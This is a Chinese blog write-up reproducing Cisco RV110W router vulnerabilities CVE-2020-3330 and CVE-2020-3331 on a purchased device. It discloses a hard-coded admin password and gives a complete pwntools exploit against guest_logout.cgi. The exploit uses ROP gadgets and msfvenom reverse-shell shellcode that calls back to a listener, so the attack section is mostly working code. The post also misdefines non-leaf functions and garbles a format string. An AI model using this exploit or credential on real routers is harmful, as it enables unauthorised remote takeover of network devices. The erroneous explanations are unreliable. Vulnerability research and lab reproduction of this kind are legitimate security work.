RV110W 漏洞复现
大家好 这里是Retr0mous~ 最近不知道从哪开始入门了iot方面的兴趣 最近百忙之中准备抽出时间来做一个路由器Pwn的漏洞 如果想要从mips架构开始 可以去看知世师傅的视频 连接在这:https://www.bilibili.com/video/BV1PE411E7Sz
Mips基础
关于mips架构 这里有几个需要注意的点:
- 寄存器和指针有 RA GP SP 分别是返回地址 全局变量 栈顶指针
- Mips没有 栈底指针 需要通过SP指针
- Mips架构在调用函数会把返回地址存入t9寄存器中 后赋值给RA
- 当本函数是叶子函数的时候,ra寄存器是不会入栈的;非叶子函数的时候,ra寄存器入栈,有可以通过栈溢出来劫持控制流的机会
叶子与非叶子函数
这里 我们会提到一个叶子函数非叶子函数的概念 我们举个例子1
2
3
4
5
6
7
8
9
10
11
12
int add(int arg1,int arg2)
{
int sum = arg1 + arg2;
return sum;
}
int main()
{
int sum = add(1,2);
printf("This is %d",sum);
}
叶子与非叶子函数的定义
叶子函数:在函数中没有调用其他函数的函数
非叶子函数:没有调用其他函数的函数
知道了这些 我们可以开始了
0x01 CVE-2020-3330
为了更加完美的测试进程 这里不建议使用虚拟机之类的 我们准备购买实体的机器 而但是 RV110w也已经停产了 我们准备在咸鱼上购买 价格在130~210不等
由于第一次在给rv110w断电了 坏了 所以又买了第二台
到机器之后 LAN连上其他的路由器 登录到192.168.1.1 就可以看到后台画面了 输入默认密码 cisco cisco 登录进到后台 刷上漏洞版本的固件 这一次的复原就圆满的开始了
(固件链接在后面)
固件解包
我们使用binbwalk -Me
命令进行解包 需要注意的是 如果是第一次安装需要安装1
2
3sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
git clone https://github.com/devttys0/sasquatch
(cd sasquatch && ./build.sh)
Nmap 端口探测
现在 我们使用nmap指令对网关的端口进行探测 看看有没有什么惊喜(you)1
2
3
4
5
6
7
8
9
10
11
12PS C:\Users\patri> nmap 192.168.1.1
Starting Nmap 7.90 ( https://nmap.org ) at 2021-11-12 22:34 ?D1ú±ê×?ê±??
Nmap scan report for 192.168.1.1
Host is up (0.0048s latency).
Not shown: 995 closed ports
PORT STATE SERVICE
23/tcp open telnet
80/tcp open http
81/tcp open hosts2-ns
443/tcp open https
444/tcp open snpp
MAC Address: B8:62:1F:53:45:B3 (Cisco Systems)
哇 可以看到居然开放了telnet 也就是说 我们不需要端口调试来上传gdb-server了
在这里 我们对于漏洞查询的过程不在多说 通过这篇文章
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html
我们是可以知道 rv110w是存在弱口令漏洞的
在这篇文章中 我们可以看到一个类似与md5的一张图 通过全局字符串搜索 我们可以知道大多数文件都处于 sbin目录
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html
这时候 我们再进入到sbin目录下 查看软连接
1 | ┌──(retr0mous㉿kali)-[~/Desktop/iot/RV110W/_RV110W_FW_1.2.2.5.bin.extracted] |
发现很多文件都链接这rc这个文件
那么 咱们直接strings
看看rc这个文件 有没有存放着什么什么
很好 直接找到了弱密码的字符串 再通过md5解密之后 显示密码为:Admin123
有了密码 我们直接链接telnet
芜湖 现在我们直接连接上了内部 但是这不意味着我们getshell了 现在 我们向下一个漏洞出发
0x02 CVE-2020-3331
这里我们主要对于web漏洞进行挖掘 在进行CVE漏洞查找的时候 我们发现了一个有关前台RCE(远程代码执行的漏洞)
我们一起来看看哈
漏洞定位
由于并没有对于漏洞点的一个精确定位 我们现在要一点一点的摸索;首先 在上面的Nmap 扫描中 我们知道网站是开放了443端口的 因此 上内部服务器之后netstat确定文件是最好的方式了 但是 因为某一些原因 其中的netstst命令可能因为版本过低没有办法使用一些参数 所以 我决定开个http服务器 把高等级的busybox传上去
https://busybox.net/downloads/binaries/1.21.1/busybox-mipsel
可以看到 443端口绑定的正是httpd文件 现在 我们已经可以确定漏洞文件了 现在只需要查找漏洞的函数了
这时候 我们就可以使用diff查找 也就是查找两个文件不同的地方 我们使用bindiff工具
bindiff 这个工具是可以集成在IDA或ghidra中的插件,不过单独有自己的界面,介绍:ida又一神器插件复活了bindiff
下载:https://www.zynamics.com/software.html
文档:https://www.zynamics.com/bindiff/manual/index.html
现在 我们解包新版本的 和旧版本进行比对:
这里 可以说越红就代表差异越大 但是 你越往下看就会发现唯一这个guest_logout_cgi和web有点关系 右键这个函数 View flow graph
嗯 随便一看就可以看到这里有个高风险函数sscanf
地址在0x431ba8
其中sscanf的条件”%;;%==%\n“里,% 表示选择,% 表示过滤,中括号括起来的是类似正则
%;:分号前的所有字符都要
;%*=:分号后,等号前的字符都不要
=%\n:等号后,换行符前的所有字符都要
也就是说,如果输入字符串”aaa;bbb=ccc”,会将aaa和ccc写入对应变量,并没有限制长度,会导致栈溢出
找到了这段代码 我们现在要对伪代码进行分析 看看需要达到那些分支才能达到sscanf函数
1
2
3
4
5
6
7
8
9{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
if ( !strstr(v11, "status_guestnet.asp") )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v29, v28);
通过查阅函数 可以知道我们需要让…
- cmac:mac 格式
- cip: ip 格式
- submit_button: 包含status_guestnet.asp
现在知道了页面是/guest_logout.cgi
了 需要达成这些条件 那么 我们就可以开始试图溢出了 exp如下 :1
2
3
4
5
6import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+'a'*100,"cip":"192.168.1.100"}
#requests.get(url, data=payload, verify=False, timeout=1)
#requests.post(url, data=payload, verify=False, timeout=1)
其中 我们还需要确定是用get 还是 post进行攻击 具体还是自己试一试吧 最后会发现只有post攻击下 web后台会转圈圈 所以可以确定是 post攻击方法
确定溢出点
gdb-server 我们内部使用 https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%
使用wget 下载到 /tmp目录 通过上一次的netstat
扫描 确定进程号 并且绑定进程号 格式如下1
./gdb.server :<绑定端口> --attach <绑定进程>
在exp上 我利用cyclic脚本来确定溢出点
exp如下:1
2
3
4
5
6
7
8
9
10import requests
import requests
payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
#(cyclic 200)
url = "https://10.10.10.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","submit_button":"status_guestnet.asp"+payload,"cip":"192.168.1.100"}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=payload, verify=False, timeout=1)
打开gdb multiarch 这样设置1
2
3
4
5gdb-multiarch -q httpd # quiet
set arch mips
set endian little
target remote 10.10.10.1:1234
(记得按c)
发送exp后 成功 确定了溢出点为 aaaw 通过 cyclic -l 查询 发现为85
现在 我们就可以准备构造语句了
ROP Getshell
mips架构硬件并不支持nx,所以利用方式通常为劫持程序流执行shellcode
由于sscanf栈溢出,所以不能有空字节,而程序本身的gadget都是有空字节的。。。
这时候自然想到用libc的gadget,但是,比较诡异的一点是,它的libc基址每次都不变
这里 我们可以通过cat /proc/<pid>/maps
查看
所以 我们就要通过ret2libc的方式getshell 我们选择/lib/libc.so.0
利用mipsgadget 发现两条有用的gadgets
1 | | 0x000257A0 | addiu $a0,$sp,0x58+var_40 | jalr $s0 | |
这样会造成什么效果呢?程序返回时,程序执行流被控制为0x257a0,去执行第一条gadget,a0 = sp + 0x18,jmp到s0寄存器,s0寄存器存的是第二条gadget,继而去执行第二条gadget,将a0放到t9,然后jmp到a0,a0存的是shellcode的地址,于是程序就会执行shellcode
shellode
我们shellcode用 msfvenom 不会生产空字节
思路
那么小伙伴可能要问了 那s0寄存器地址怎么算呢?
其实 只要用我们第一次算溢出的图用 cyclic算就行了 也就是cyclic -l aaan
exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44import requests
from pwn import *
p = listen(8788)
context.arch = 'mips'
context.endian = 'little'
context.os = 'linux'
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0 (var_20) = -20
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\x54\x0e\x3c"
buf += b"\x22\x54\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
payload1 = "status_guestnet.asp"
payload1 += 'a' * 49 + p32(jmp_a0) # control $s0
payload1 += (85 - 49 - 4) * 'a' + p32(jmp_s0) # control gadgets2 , retuen to jmp_s0
payload1 += 'a' * 18 + buf # control $sp + 18
url = "https://192.168.1.1/guest_logout.cgi"
payload2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": payload1,
"cip": "192.168.1.100"
}
requests.packages.urllib3.disable_warnings() #Hide warnings
requests.post(url, data=payload2, verify=False, timeout=1)
p.wait_for_connection()
log.success("getshell")
p.interactive()
Getshell!!!
固件链接
Reference
https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W
https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
https://blogs.360.cn/post/yi-ge-zi-jie-cha-cuo-dao-zhi-Cisco-fang-huo-qiang-lu-you-qi-yuan-cheng-dai-ma-zhi-xing.html